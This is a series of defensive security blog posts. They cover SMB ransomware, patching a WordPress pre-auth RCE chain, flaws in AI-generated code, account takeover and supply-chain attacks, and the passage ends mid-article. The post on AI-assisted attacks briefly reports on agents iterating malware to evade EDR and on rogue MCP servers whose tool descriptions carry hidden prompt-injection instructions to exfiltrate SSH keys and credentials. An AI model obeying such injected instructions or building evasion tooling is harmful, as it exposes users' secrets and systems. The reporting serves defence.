DEV Community: Stanley A.

96% of Ransomware Victims Are Small Businesses — How to Actually Protect Your Stack

Stanley A. — Wed, 22 Jul 2026 14:11:00 +0000

Verizon's newly-released 2026 DBIR found that 96% of ransomware victims (where organization size was known) were small and medium-sized businesses. Third-party involvement in SMB breaches has jumped to 55%. Meanwhile, 47% of businesses with fewer than 50 employees still allocate zero budget to cybersecurity (StrongDM 2025).

If you manage WordPress sites, SaaS backends, ecommerce platforms, or any web infrastructure for clients — this post is about the technical gaps that let ransomware happen, and the exact steps to close them.

This isn't a pitch for our own tooling — just the stack-level controls that matter. (We do link to our free scanner near the bottom, because it's relevant, not because this post exists to sell it.)

Why SMBs Are the Primary Target

The myth: "Ransomware groups go after big enterprises."

The data says the opposite, and it's getting starker every year:

2025 DBIR: ransomware appeared in 88% of SMB breaches vs. 39% at large enterprises.
2026 DBIR (released May 2026): ransomware now shows up in 48% of all confirmed breaches (up from 44%), and of the ransomware victims where organization size was known, 96% were SMBs.
Independent breach-tracking from Proton's Data Breach Observatory puts businesses under 250 employees at roughly 63–71% of all breaches recorded in 2025–2026, depending on the sampling window.

Three technical reasons why SMBs keep losing this fight:

Minimal defences. No SIEM, no EDR, no network segmentation. The attack surface is wide open.
Fast payment cycle. Desperation → quick ransom payment → attacker profits → repeat. (Though this is shifting — more on that below.)
Supply chain pivot. Compromised small business → lateral movement to their bigger clients. Third-party involvement in breaches jumped from 30% to 48% year-over-year industry-wide, and sits at 55% for SMBs specifically (Verizon DBIR 2026).

The Modern Ransomware Kill Chain

This isn't the 2015 "encrypt and demand Bitcoin" playbook. Modern ransomware follows a structured kill chain:

Stage 1: Initial Access

# Common entry vectors (ranked by frequency, 2026 DBIR):
1. Vulnerability exploitation — now the #1 vector overall (31%),
   overtaking stolen credentials for the first time in 19 years of the report
2. Phishing emails (AI-written, grammar-perfect, hyper-personalised)
3. Reused credentials (no MFA)
4. Exposed SSH, RDP, or database ports

The shift to vulnerability exploitation matters for one reason: the DBIR reports the window between a CVE being disclosed and it being exploited in the wild has shrunk from months to hours. "We'll patch it next sprint" is no longer a viable posture.

Stage 2: Reconnaissance

The attacker maps your network silently — days or weeks before encryption. Most SMBs never detect this phase.

Stage 3: Data Exfiltration

Before encrypting anything, they steal your data first. Double extortion: "Pay up, or we publish your customer database."

Stage 4: Encryption + Ransom

Files, databases, backups — all locked. Ransom note appears.

Stage 5: The Real Cost

21 days average downtime for SMBs
Customer notification obligations
Regulatory fines
Reputational damage

The good news buried in the 2026 numbers: median ransom payments have fallen below $140,000, and 69% of victims now refuse to pay at all — up from 50% just two years ago. Backups and refusal-to-pay norms are working. But that only helps you if your backups actually restore, which is the next section.

Your WAF Isn't Enough

If you're behind Cloudflare (or any WAF), you're ahead of most. But here's what a WAF actually covers vs. what ransomware exploits:

WAF Covers	Ransomware Exploits
DDoS mitigation	Application logic flaws
Known-pattern WAF rules	Zero-day / novel attack patterns
Basic bot filtering	Authenticated attack patterns
DNS protections	Server misconfigurations
SSL/TLS termination	Code-level vulnerabilities (XSS, SQLi)
Rate limiting	Supply chain compromises

The entry points that lead to ransomware are typically behind the WAF:

Misconfigured admin panels (/wp-admin open to 0.0.0.0/0)
Unpatched WordPress core or plugins
Developer credentials in public repos
Default database credentials on shared hosting

A live example as of this week: CVE-2026-60137 chained with CVE-2026-63030 ("wp2shell") is an unauthenticated remote-code-execution chain in WordPress core — an unsanitised WP_Query parameter (SQLi, CVSS 9.1) combined with a REST API batch-route confusion bug that strips the authentication requirement. Together they let an attacker go from zero access to a full admin takeover on a default, out-of-the-box WordPress install — no plugins, no misconfiguration needed. WordPress 6.8.6, 6.9.5, and 7.0.2 all contain the fix. If you're running WordPress and haven't force-updated in the last 72 hours, this is a genuine emergency, not a "patch it this sprint" item.

A WAF is a seatbelt. Essential, but it doesn't prevent the crash.

Three Stack-Level Controls That Actually Work

1. Backup Verification (Test Recovery, Not Just Backups)

Most SMBs "have backups." Very few can actually recover from them.

# Checklist for ransomware-resilient backups:
# ✓ Offsite (separate provider / region)
# ✓ Immutable (WORM storage or air-gapped)
# ✓ Tested (can you restore right now, without touching production?)
# ✓ Recent (RPO < 24h for critical data)
# ✓ Not on the same server as production data

# Quick test you can run today:
# Can you restore a critical database table from backup
# without affecting the live site?

If your backup is on the same server as your production data, ransomware encrypts both. If it's never been tested, you don't know if it works. Fix that before anything else.

2. Free Security Baseline (5 Minutes)

Before investing in tooling, know your current posture. Run a scan that covers:

SSL/TLS configuration
Security headers (CSP, HSTS, X-Frame-Options)
DNS configuration
Email authentication (SPF, DKIM, DMARC)
CMS version detection (WordPress, Shopify, etc.)
Open ports and services
Technology fingerprinting

Run a free scan →

This won't find everything — but it tells you if your SSL is misconfigured, your headers are missing, your email is spoofable, or your CMS has known CVEs.

3. Close the Top 3 Entry Points (This Week)

# 1. Patch everything, and patch it fast
wp core update          # WordPress — critical given the wp2shell chain above
wp plugin update --all  # All plugins
wp theme update --all   # All themes

# 2. Enable MFA on every admin surface
# WordPress: install "WP 2FA" or similar
# Hosting: enable 2FA on cPanel/Plesk
# Email: enable on all admin accounts
# Git repos: enforce 2FA on GitHub/GitLab

# 3. Lock down admin panels
# Option A: IP restriction via .htaccess
<Files wp-login.php>
    Require ip 203.0.113.0/24
</Files>

# Option B: Cloudflare Access (Zero Trust)
# Restrict /wp-admin to authenticated users only

# Option C: VPN-only access
# Run SSH tunnel for admin access

The Numbers

Stat	Value	Source
SMBs among ransomware victims (org size known)	96%	Verizon DBIR 2026
Ransomware present in all confirmed breaches	48% (up from 44%)	Verizon DBIR 2026
Third-party involvement, all breaches	48% (up 60% YoY)	Verizon DBIR 2026
Third-party involvement, SMB breaches specifically	55%	Verizon DBIR 2026
SMBs with zero cyber budget (<50 employees)	47%	StrongDM 2025
Global average breach cost	$4.44M (down 9% YoY)	IBM Cost of a Data Breach 2025
Average breach cost, businesses <500 employees	$3.31M	IBM Cost of a Data Breach 2025
Median ransom paid	~$140K (down from $150K)	Verizon DBIR 2026
Victims who refused to pay	69% (up from 50% two years ago)	Verizon DBIR 2026

What to Do Today

Patch WordPress now if you haven't — CVE-2026-60137 / CVE-2026-63030 is a pre-auth RCE chain live in the wild this week
Test a backup restore — right now, without touching production
Run a free security scan — wardenbit.com/web-security-scanner

Most ransomware gaps are findable and fixable before an attacker exploits them. You don't need a security team — you need to know where the gaps are and close them in priority order.

Originally published at WardenBit. WardenBit helps small businesses find and fix security gaps before they become breaches — run a free scan to check your website across 40+ categories in under 60 seconds.

WordPress 7.0.2 — Patching an Unauthenticated RCE Chain Right Now

Stanley A. — Sun, 19 Jul 2026 00:49:47 +0000

On July 17, 2026, WordPress dropped 7.0.2 to patch a chain of two vulnerabilities — CVE-2026-60137 (SQL injection) and CVE-2026-63030 (REST API batch route confusion → RCE). The chain is nicknamed WP2Shell. Chained together, on default installations with no plugins involved, it lets a remote attacker with no WordPress account reach full code execution.

If you're running WordPress 6.8 through 7.0.1, you need to update right now. Not next week. Right now.

Update (July 18): two days after disclosure, working proof-of-concept code is now public and Patchstack reported signs of in-the-wild exploitation attempts within hours of the advisory going out. Treat this as actively exploited, not theoretical.

Here's the technical breakdown.

What the Two CVEs Actually Do

CVE-2026-60137 — SQL Injection via `WP_Query`

The vulnerability lives in WP_Query's handling of the author__not_in parameter. The parameter lacks proper escaping and query preparation, letting an attacker inject arbitrary SQL.

On its own, this bug is narrower than it sounds: reaching it typically requires either an authenticated context, or a plugin/theme that passes untrusted input into author__not_in. It's not directly reachable by an anonymous visitor through stock WordPress core by itself — that's exactly what the second CVE changes.

Affected: WordPress 6.8 through 7.0.1
Patched in: 6.8.6, 6.9.5, 7.0.2
Reported by: TF1T, dtro, and haongo

This isn't a plugin issue — it's core. Every WordPress installation with this version range is exposed.

CVE-2026-63030 — REST API Batch Route Confusion → RCE

This is the more dangerous half of the chain. The REST API batch endpoint (/wp-json/batch/v1) has a route confusion issue (CWE-436) discovered by Adam Kues at Assetnote / Searchlight Cyber. This is what turns CVE-2026-60137 into something an anonymous, unauthenticated attacker can trigger: the route confusion lets a crafted batch request slip past the auth boundary that would normally gate the SQL injection, and reach it with unauthenticated privileges — from there, the SQLi is escalated into RCE.

Important caveat: according to Cloudflare's and SOCRadar's analysis, this RCE path is reachable when a persistent object cache (Redis, Memcached, etc.) is not enabled — which is the WordPress default for most installs, but not universal. If you run a persistent object cache, you're likely at reduced risk for the full RCE chain specifically, though the underlying SQLi in WP_Query is still a real problem worth patching regardless.

Affected: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1
Patched in: 6.9.5, 7.0.2

The batch endpoint itself has shipped by default since WordPress 5.6 (2020); it's the route-confusion bug introduced in 6.9 that opens the door.

Why the Chain Matters

Neither CVE alone reaches the full impact:

CVE-2026-60137 (SQLi)   ──→  DB access, but gated behind auth/plugin context
CVE-2026-63030 (route)  ──→  bypasses that gate + drives it to code execution
Combined                  = unauthenticated remote code execution

Rapid7's advisory put it well: "Organizations should not interpret the absence of public exploitation reports as an indication of low risk." That framing has already aged — as of this writing, public PoC code and early signs of exploitation attempts exist. The advice underneath it still holds: don't wait for confirmed mass exploitation before you patch.

Affected Versions

Branch	CVE-2026-60137	CVE-2026-63030	Patch
6.8.x (< 6.8.6)	✅	❌	`6.8.6`
6.9.0–6.9.4	✅	✅	`6.9.5`
7.0.0–7.0.1	✅	✅	`7.0.2`
7.1 beta	✅	✅	7.1 Beta 2
< 6.8	❌	❌	N/A

Note: on 6.8.x, only the SQLi (CVE-2026-60137) applies — the route-confusion bug that unlocks unauthenticated RCE was introduced in 6.9. That branch is still worth patching, but it isn't exposed to the full pre-auth WP2Shell chain.

Emergency Mitigation (If You Can't Patch Immediately)

Searchlight Cyber recommends blocking anonymous access to the batch API while you stage the update:

At your WAF/CDN level (Cloudflare, etc.):

# Block the batch endpoint
/wp-json/batch/v1
?rest_route=/batch/v1

Via a plugin: Install a plugin that blocks anonymous REST API access.

Cloudflare users: An emergency managed rule was released July 17, 2026. Check Security → WAF → Managed Rules to confirm it's active.

Running a persistent object cache? You're likely lower-risk for the RCE chain specifically, but this isn't a substitute for patching — the SQL injection itself is still live until you update.

⚠️ Both mitigations may break legitimate site functionality — use only as temporary measures until you patch.

How to Patch

WP-CLI (recommended for ops)

# Back up first
wp db export backup-$(date +%Y%m%d).sql

# Update core
wp core update

# Update database schema if needed
wp core update-db

# Verify
wp core version
# Should show: 6.8.6, 6.9.5, or 7.0.2

Manual via SSH

# Backup
mysqldump -u user -p wordpress_db > backup.sql

# Download and extract
cd /path/to/wordpress
curl -O https://wordpress.org/wordpress-7.0.2.tar.gz
tar -xzf wordpress-7.0.2.tar.gz

# Replace core files (keep wp-content and wp-config.php)
rsync -av wordpress/ ./ --exclude wp-content/ --exclude wp-config.php

# Run database update
wp core update-db

WordPress Dashboard

Dashboard → Updates → Update Now

WordPress has enabled forced auto-updates for affected installations, but verify manually — auto-update can silently fail.

Docker / CI-CD

If you're running WordPress in containers, update your base image tag and redeploy. If you use a build pipeline that pins WordPress versions, update the version pin and trigger a rebuild.

# Before
FROM wordpress:7.0.1-php8.2-apache

# After
FROM wordpress:7.0.2-php8.2-apache

Post-Patch Verification Checklist

After updating, verify your installation is clean:

1. Version check

wp core version
grep '$wp_version =' wp-includes/version.php

2. Check for new admin accounts

wp user list --role=administrator

3. Look for recently modified core files

# Find PHP files modified in the last 7 days
find /path/to/wordpress -name "*.php" -mtime -7 -type f | \
  grep -v wp-content/uploads

4. Database audit

wp db query "SELECT user_login, user_email, user_registered \
FROM wp_users WHERE user_registered > '2026-07-01'"

5. Log analysis

Search your access logs for POST requests to /wp-json/batch/v1 from unknown IPs, particularly around and after July 17, 2026, and watch specifically for anomalous author__not_in parameter values — that's the earliest indicator of exploitation attempts against this chain.

6. WAF rule status

If you're behind Cloudflare, verify the emergency managed rule for this CVE chain is active in your dashboard.

What This Means for Your Deployment Pipeline

If you're managing WordPress at scale — multiple installs, staging environments, client sites — this should trigger:

Inventory audit: Which of your installs are running 6.8–7.0.1? You need a definitive list.
Automated patching: If you don't have automated WordPress updates, this is the push to set them up. The WP_AUTO_UPDATE_CORE constant or wp auto-update enable CLI command handles this.
Staging-first policy: Update staging, test, then roll to production. But given that PoC code is already public, don't let the staging test delay the patch by more than a few hours on anything internet-facing.
Monitoring: After patching, monitor logs for 48–72 hours for indicators of pre-patch compromise, especially around the disclosure window (July 17–19).

The Broader Pattern

This isn't an isolated incident. WordPress core vulnerabilities are rare, but when they hit, they hit hard because of the sheer install base. The pattern we're seeing in 2026:

Core vulnerabilities (not just plugins) are being discovered and weaponized faster
Chained CVEs are the norm — individual low/medium issues escalate when combined
Unauthenticated attack paths are increasingly common in WordPress's REST API surface
Batch processing endpoints are a new attack surface that most operators don't think about

If you manage WordPress infrastructure, add REST API endpoint auditing to your regular security reviews. The batch API (/wp-json/batch/v1) should be restricted by default.

Quick Reference

Item	Detail
CVE-2026-60137	SQL injection via `WP_Query` / `author__not_in` (CVSS 9.1)
CVE-2026-63030	REST API batch route confusion → RCE (CVSS 7.5)
Chain name	WP2Shell
Affected	WordPress 6.8.0–7.0.1 (full unauthenticated RCE chain: 6.9.0–7.0.1)
Patched in	6.8.6, 6.9.5, 7.0.2
Attack complexity	Unauthenticated when chained, no plugins needed; RCE path requires no persistent object cache
WAF emergency rule	Cloudflare released July 17, 2026
Status as of July 19, 2026	Public PoC exists; early exploitation attempts reported
WP2Shell disclosure	Adam Kues, Assetnote / Searchlight Cyber

AI Wrote Your Code. Did It Ship a Vulnerability Too?

Stanley A. — Tue, 14 Jul 2026 14:04:00 +0000

TL;DR

Nearly half of AI-generated code fails basic security tests — and that number hasn't budged as models got bigger.
Java is the riskiest language, XSS is the vulnerability models handle worst, and it's not close.
Three cheap layers (prompt, pre-commit, CI/CD) catch most of it. None take more than an afternoon to set up.

AI coding tools like Claude Code, Cursor, and Codex have changed how software gets written. But they've also introduced a class of risk most teams haven't caught up with yet.

You ask an AI coding agent to write a login handler. It produces working code in seconds — password hashing, database queries, error handling, all there. It looks clean. It passes your tests. You ship it.

There's a reasonable chance it also contains a flaw a static analysis tool would catch in five minutes.

This post covers what the data actually says, what goes wrong most often, and what you can do about it — whether you're a solo dev or a small team shipping fast.

What the Data Shows

The numbers aren't subtle.

Veracode's 2025 GenAI Code Security Report tested code generated by over 100 LLMs across Java, Python, C#, and JavaScript:

45% of AI-generated code samples failed security tests and introduced OWASP Top 10 vulnerabilities
Java was the riskiest language tested, with a 72% security failure rate
Cross-Site Scripting (CWE-80) was the single worst category, with models failing to defend against it in 86% of relevant tasks
Bigger and newer models did not improve security. Scaling up model size didn't translate to safer output — pass rates for newer models like GPT-5 and Claude Sonnet 4.5 still cluster around the same 50–55% mark as their predecessors

CodeRabbit's December 2025 report compared 470 real-world GitHub pull requests:

AI-co-authored PRs contained roughly 1.7× more issues overall than human-only PRs
For XSS specifically, AI-generated code was 2.74× more likely to introduce the vulnerability

Apiiro's research across Fortune 50 enterprises found:

322% more privilege escalation paths in AI-assisted codebases
153% more design flaws
40% increase in secrets exposure

An earlier academic study analyzing GitHub Copilot output found that 29.6% of Copilot-generated snippets contained security weaknesses across 38 CWE categories.

The pattern holds across every source: AI tools write functional code fast, but that code disproportionately fails basic security checks.

Why Bigger Models Aren't Safer

More parameters and more training data don't make a model security-aware. LLMs learn patterns from the code they were trained on — and a meaningful chunk of public code is itself vulnerable. There's no internal "security reviewer" running in the background; the model is generating the statistically likely completion, not the correct one.

Ask it to write a database query, and it'll reach for whatever pattern shows up most in its training data. If that pattern is string concatenation instead of a parameterized query, you get confident, working, exploitable SQL injection — and nothing in the output will look wrong at a glance.

The Five Vulnerabilities AI Introduces Most Often

1. Hardcoded Secrets and API Keys

Placeholder credentials that look real — sample keys, connection strings with embedded passwords. Code works, tests pass, secret sits in plaintext for anyone with repo access.

2. SQL Injection via String Concatenation

AI defaults to f-strings or + concatenation for queries instead of parameterized statements. The fastest way to write a query is also the fastest way to create SQL injection.

3. Weak Cryptography

MD5 for password hashing, ECB mode for encryption, static IVs. Syntactically correct, compiles clean, sits quietly broken in production.

4. Missing Authorization Checks

Endpoints handle the request correctly but skip verifying the caller actually has permission to make it. Creates privilege escalation paths that normal functional testing won't surface.

5. Command Injection

User input passed straight into os.system() or subprocess.call() without escaping.

Three Layers of Protection

You don't need to stop using AI tools. You need checkpoints between "the model wrote this" and "this is in production."

Layer 1 — At the Prompt
Be explicit about security requirements instead of assuming the model will infer them:

"Write a parameterized SQL query to select users by email. Use prepared statements, not string formatting."

This alone measurably improves output — models default to secure patterns when told to, they just don't volunteer them.

Layer 2 — Before Commit
Add fast, local checks that run before code ever leaves your machine:

Gitleaks — catches hardcoded secrets and keys
Semgrep — SAST rules for injection, weak crypto, and more
A pre-commit hook wiring both in

# example .pre-commit-config.yaml entries
- repo: https://github.com/gitleaks/gitleaks
  rev: v8.18.4
  hooks:
    - id: gitleaks
- repo: https://github.com/returntocorp/semgrep
  rev: v1.78.0
  hooks:
    - id: semgrep
      args: ["--config=auto"]

Most teams have this running in under 30 minutes.

Layer 3 — In CI/CD
Catch what slips past local checks on every pull request:

GitHub CodeQL for deeper static analysis
Dependabot / Snyk for vulnerable dependencies

None of this is exotic tooling — it's the same stack most security-conscious teams already run. The difference is treating AI output as untrusted input by default, not as an exception case.

The Bottom Line

AI coding tools aren't going away, and they shouldn't. But the security cost is real, and it doesn't shrink as the models get bigger. The teams that benefit most treat AI output the way they'd treat a pull request from a junior developer: useful, fast, and unmerged until it's been reviewed.

If you're already running Semgrep or CodeQL, the marginal cost of pointing it at AI-generated code is close to zero. The cost of not doing it shows up later, in production, when it's a lot more expensive to fix.

How AI Rewrote the Attacker's Playbook in 2026

Stanley A. — Tue, 07 Jul 2026 14:05:00 +0000

For years, the cybersecurity conversation about AI was speculative. Researchers warned it could lower the barrier for attackers. Pen test firms demoed LLM-generated phishing emails. Thought pieces predicted AI-powered attacks were coming.

In 2026, they're here. And they're rewriting how every stage of an attack works — from discovery to exploitation to evasion.

The EDR Evasion Toolkit

In June 2026, Sophos published an analysis of a ransomware toolkit built using AI-assisted development workflows. The attacker used Cursor and Claude Opus 4.5 agents to iterate on malware modules against EDR products, coordinating roles across several agents: one set direction, others handled EDR testing, OPSEC hardening, documentation, and VM deployment.

The attack loop:

Write an EDR evasion module.
Test it in an isolated lab against Sophos, CrowdStrike, and Windows Defender.
If it fails, describe the failure to the AI.
The AI rewrites the module based on what it learned.
Repeat.

The attacker claimed the modules eventually bypassed nearly every EDR solution tested — though Sophos noted its own telemetry didn't fully bear that claim out, and the discrepancy is unexplained (possibly the AI over-reporting its own success). The agents also mined published bypass techniques from security research blogs, mapped them to MITRE ATT&CK, and built out test environments to validate results.

It's worth being precise about what this was and wasn't: Sophos was explicit that this was not an autonomously reasoning system running unsupervised. It described the workflow as "a structured engineering test cycle that included human review and iteration" at every step. The genuine shift here isn't a fully autonomous attacker — it's the speed and cheapness of the build-test-refine loop, which lets a single operator iterate dozens of variants faster than a traditional malware dev shop ever could.

The First AI-Discovered Zero-Day

Google's Threat Intelligence Group confirmed the first zero-day exploit believed to be developed with AI. The target was a popular open-source web administration tool. The vulnerability: a 2FA bypass caused by a hardcoded trust assumption — a semantic logic flaw, not memory corruption or input validation.

GTIG identified the AI origin through: abundant educational docstrings, a hallucinated CVSS score, and textbook Pythonic structure characteristic of LLM-generated code. The key technical insight: frontier LLMs excel at finding semantic logic flaws that static analysis and fuzzers miss, because they can reason about developer intent rather than pattern-matching for known vulnerability classes. Google worked with the vendor to patch the flaw before the planned mass-exploitation campaign launched.

Autonomous Malware: PROMPTSPY

ESET first identified PROMPTSPY, an Android backdoor that queries an LLM (Google's Gemini API) to interpret the on-screen UI and get step-by-step instructions for pinning itself in the recent-apps list — a persistence trick that normally has to be hand-scripted per device manufacturer. GTIG's follow-up analysis found the backdoor's use of AI went further: an agent module that reads live device state and generates precise tap/gesture commands in real time, letting it adapt across devices without hardcoded logic. Unlike traditional malware that follows predetermined logic, PROMPTSPY reads the environment, reasons about what it finds, and decides what to do next.

Supply Chain Attacks on AI Infrastructure

npm supply-chain campaigns turned their sights on AI developer tooling in early 2026. The "SANDWORM_MODE" campaign, spread through typosquatted npm packages, planted rogue MCP servers into AI coding assistants like Claude Code, Cursor, and Windsurf — the injected servers registered innocent-looking tools whose descriptions contained hidden prompt-injection instructions telling the AI to silently read and exfiltrate SSH keys, AWS credentials, and other secrets.

Around the same time, the threat group TeamPCP compromised the CI/CD pipeline of Trivy (a widely used security scanner), then used stolen credentials to cascade into PyPI: two backdoored releases of LiteLLM (the open-source LLM gateway) shipped a multi-stage credential stealer, and a similar payload later hit the Telnyx package. This is the same supply-chain attack pattern that has plagued traditional software for years — just reaching into a newer, less mature ecosystem, and in this case exploiting the very security tools meant to prevent it.

The Langflow AI framework (CVE-2026-33017) also fell to an unauthenticated RCE that let attackers inject arbitrary Python into a public flow-build endpoint, exfiltrating database connections, cloud credentials, and environment configs. Exploitation began within about 20 hours of disclosure, and it was added to the CISA KEV catalog.

The Scale

Hadrian Security cataloged 70+ open-source AI pentest tools as of March 2026, most launched in the prior 18 months. The critical difference: these tools operate in parallel across an entire attack surface — they don't context-switch, lose findings, or deprioritize targets. The marginal cost of executing a known attack chain against a known target is trending toward zero.

State-sponsored actors are industrializing this. APT45 (North Korea) was observed sending thousands of automated prompts to iteratively analyze CVEs and validate PoCs. China-nexus actors experimented with datasets of 85,000+ real-world vulnerability cases to prime models for expert-level code analysis.

What Defenders Should Do

The fundamentals haven't changed — they just need consistent application:

Patch promptly. Most exploited vulns had patches available. The Ghost CMS SQL injection (CVE-2026-26980) hit 700+ sites; patches existed.
MFA everywhere. Doesn't prevent server exploitation, but makes stolen credentials — the most common initial access vector — significantly less useful.
Network segmentation. Limits lateral movement when one system is compromised.
Audit dependencies — including your security tools. The Trivy → LiteLLM chain shows that scanners and CI actions are now targets too, not just app dependencies. Pin versions, don't trust mutable tags, and use Dependabot or Snyk; keep WordPress plugins and themes updated.
Treat AI coding assistants as part of your attack surface. Audit MCP server configs and tool descriptions the same way you'd audit a new dependency — SANDWORM_MODE proved that's now a live exfiltration path.
Monitor for anomalies. Unusual outbound connections, logins from unexpected locations — you don't need a SOC to catch the basics.

Bottom Line

AI hasn't created a new category of cyberattack. It's compressed the timeline between vulnerability and exploitation, lowered the skill floor, and made attack chains adaptive. But it's also worth resisting the more dramatic framing: even in the most AI-heavy case documented this year, the attacker was still driving, reviewing, and correcting the loop by hand — AI made the loop faster, not autonomous. The defensive fundamentals still work — patch, segment, authenticate, monitor. The hardest targets aren't the most expensive defenses, but the most consistently applied ones.

Sources: Google Threat Intelligence Group, Sophos, ESET, Socket, Sysdig, Snyk, Arete, Hadrian Security, SANS, CISA, NetEye, Cofense, Sonatype.

Someone Else Might Already Be Logged Into Your Shop

Stanley A. — Tue, 30 Jun 2026 14:12:00 +0000

If you build or maintain ecommerce platforms, there's a specific threat model you should be thinking about more than you probably are: account takeover (ATO) — not as a theoretical risk, but as a high-volume, automated attack class that's hitting stores right now.

The core insight is deceptively simple:

The attacker does not break in. They log in.

No code exploits. No zero-days. Just real credentials, real sessions, and stores that aren't configured to notice.

TL;DR — five checks, under an hour, no security budget required:

[ ] Rate limit (or CAPTCHA) the /login endpoint after 3–5 failed attempts
[ ] Offer MFA, and push toward passkeys (FIDO2/WebAuthn) as the default
[ ] Invalidate sessions server-side on logout — test with the browser Back button
[ ] Log new-device / new-geo logins and notify the user
[ ] Turn on whatever login-security features your platform (Shopify/WooCommerce/Magento) already ships with but doesn't enable by default

Scale

Metric	Figure	Source
Consumers who experienced ATO in 2025	21%	Sift Q1 2026 Digital Trust Index
UK ATO fraud cases (2025)	78,000+ (18% of all fraud, up 6% YoY)	Cifas Fraudscape 2026
FBI ATO complaints (2025)	~4,700 — first time listed as its own category	FBI 2025 IC3 Report
Reported losses from those complaints	$359.7M	FBI 2025 IC3 Report

For context: ~26 billion credential-stuffing attempts per month (Akamai). Compromised credential volumes are up >150% year-over-year. This isn't a niche problem — it's the default attack surface for any store with user accounts.

The Three Vectors You Should Be Architecting Against

1. Credential stuffing

Automated login attempts using leaked username/password pairs from unrelated breaches. Because password reuse is endemic, a breach at a forum becomes a key to your checkout.

What makes this dangerous at scale: attackers are replaying real, previously-valid credentials. No brute force, no pattern — just bulk credential replay with high success rates against any login endpoint without rate limiting.

2. Session hijacking

If your session tokens lack Secure, HttpOnly, and SameSite attributes — or if you're not enforcing HTTPS at every layer — session cookies are extractable on shared networks. A café attacker with mitmproxy or a rogue AP can capture sessions without knowing the password.

A correctly-flagged session cookie looks like this:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

Even with HTTPS, SameSite=None on session cookies is still common in cross-origin setups (e.g. embedded checkout widgets, third-party payment iframes). Worth auditing — SameSite=None requires Secure and reopens some of the cross-site exposure the other flags are meant to close.

3. AI-assisted phishing

The phishing bar just got much lower. LLMs generate convincing, brand-accurate login page clones at scale. The old advice — "look for typos" — doesn't apply when the attacker can clone your exact HTML, match your brand voice in emails, and serve a pixel-perfect fake checkout from a lookalike domain.

Five Things to Check (Or Tell Your Team to Check)

These aren't aspirational — they're configuration-level fixes that should take under an hour.

1. Rate limiting on login

Quick test: enter a wrong password 10 times. If nothing happens — no CAPTCHA, no progressive delay, no lockout — you have no rate limiting.

What to implement: progressive throttling or CAPTCHA after 3–5 failed attempts per account or per IP. Most platforms have plugins or middleware for this. If you're building custom, a token bucket or sliding window limiter on the /login endpoint is non-negotiable:

# Minimal sketch — swap in Redis for real deployments
from time import time

attempts = {}  # key -> [timestamps]
WINDOW = 300    # 5 minutes
LIMIT = 5

def is_rate_limited(key):
    now = time()
    attempts[key] = [t for t in attempts.get(key, []) if now - t < WINDOW]
    if len(attempts[key]) >= LIMIT:
        return True
    attempts[key].append(now)
    return False

Key on account and IP separately — attackers rotate IPs (residential proxies), and legitimate users share IPs (offices, NAT).

2. MFA — ideally passkeys

If your platform supports customer-facing MFA, enable it. Even opt-in gives security-conscious users a way to protect themselves.

But the real win is passkeys (FIDO2/WebAuthn). Passwords are the root cause of credential stuffing — remove the password and the attack vector collapses, since there's no shared secret left to steal, leak, or replay.

Separately, passkeys also outperform passwords on plain usability — the FIDO Alliance's 2025 Passkey Index found a 93% login completion rate for passkeys vs. ~63% for password-based methods. That's a UX/conversion number (how often a real user finishes logging in), not a measure of attack resistance — but it means the security upgrade doesn't come at the cost of friction, which is usually the objection that kills MFA rollouts.

Major platforms (Amazon, Google, PayPal, TikTok) are already rolling out passkey support. If you're building auth for a new platform, FIDO2 should be the default, not the upgrade.

3. Server-side session invalidation

Quick test: log in → click logout → press browser Back. If the dashboard renders, your session tokens aren't being invalidated server-side on logout.

This is a common misconfiguration in stateless token setups where the server trusts the client to "forget" the token. Server must explicitly invalidate or blacklist the session on logout. For JWT-based sessions, a short TTL + token blacklist or rotation is the fix.

4. Suspicious login detection

At minimum: flag logins from new devices or unusual geolocations and notify the user. If you're not building this, most platforms (Shopify, WooCommerce, Magento) have plugins for basic login activity logging.

For custom builds: a simple user_sessions table tracking ip, user_agent, geoip, and last_seen lets you flag anomalies without a full SIEM.

5. Audit your platform's security features

If you're on Shopify, WooCommerce, or Magento — review the built-in security settings. These aren't glamorous, but they matter:

Login attempt monitoring
IP-based throttling
Suspicious activity flags
Session timeout configuration

Make sure they're turned on and configured, not just "available."

The Architectural Takeaway

ATO isn't a vulnerability you patch — it's a configuration and design surface. The most effective mitigation is layered: rate limiting at the edge, MFA/passkeys at auth, proper session lifecycle management, activity logging, and sensible platform defaults.

None of this requires a security budget. Most of it requires someone to actually check whether these features are enabled.

The question isn't whether someone is trying to log in as your customers. It's whether your store is configured to notice — and whether it's harder to attack than the one next door.

Originally published on the WardenBit Blog, covering practical ecommerce security for developers and shop owners.

Supply Chain Is the New Front Door: What May 2026 Taught Us About Third-Party Risk

Stanley A. — Wed, 03 Jun 2026 14:20:19 +0000

"We audited our own code. Our dependencies are someone else's problem." — Until they become yours.

May 2026 was a turning point for supply chain attacks. In a single month, a trojanized software installer hit thousands of machines across 100+ countries, a certificate authority was compromised into issuing fraudulent code-signing certificates, and a popular open-source framework was poisoned in a way that reached inside one of the world's most prominent AI companies.

These weren't exotic zero-days. They were trust exploits — attacks that abuse the relationships between your organisation and the tools, libraries, and vendors you've already approved.

If you're running a software team, an ecommerce platform, or any business that depends on third-party code, this post is about why your clean vulnerability scan report might be hiding the biggest risk on your network.

What Happened: Three Incidents, One Pattern

1. DAEMON Tools — Trojanized Installers (May 6)

A supply-chain attack compromised the official installer distribution of DAEMON Tools, a widely used disc utility. The trojanized packages delivered malware to thousands of users across more than 100 countries.

What made it effective was deceptively simple: users downloaded from what appeared to be the legitimate source, the installer carried a valid-looking digital signature, and antivirus engines initially trusted the binary because of its origin. The malware established persistence before most users noticed anything unusual.

The lesson: Your users trust your download page. If an attacker compromises your build or distribution pipeline, that trust becomes the attack vector.

2. DigiCert — Fraudulent Code-Signing Certificates (May 4)

An attacker managed to obtain fraudulent code-signing certificates from DigiCert, one of the internet's most trusted certificate authorities. These certificates could be used to sign malware that operating systems and security tools would treat as entirely legitimate.

The danger here is structural. Code-signed malware bypasses SmartScreen, Gatekeeper, and most endpoint protection heuristics. Because the certificates were issued by a trusted CA, the chain of trust remained intact from the OS's perspective — victims would have had no reason to suspect a signed binary was malicious.

The lesson: When trust infrastructure itself is compromised, your entire verification model breaks down. Your WAF doesn't cover this.

3. TanStack Supply-Chain Attack → OpenAI (May 14)

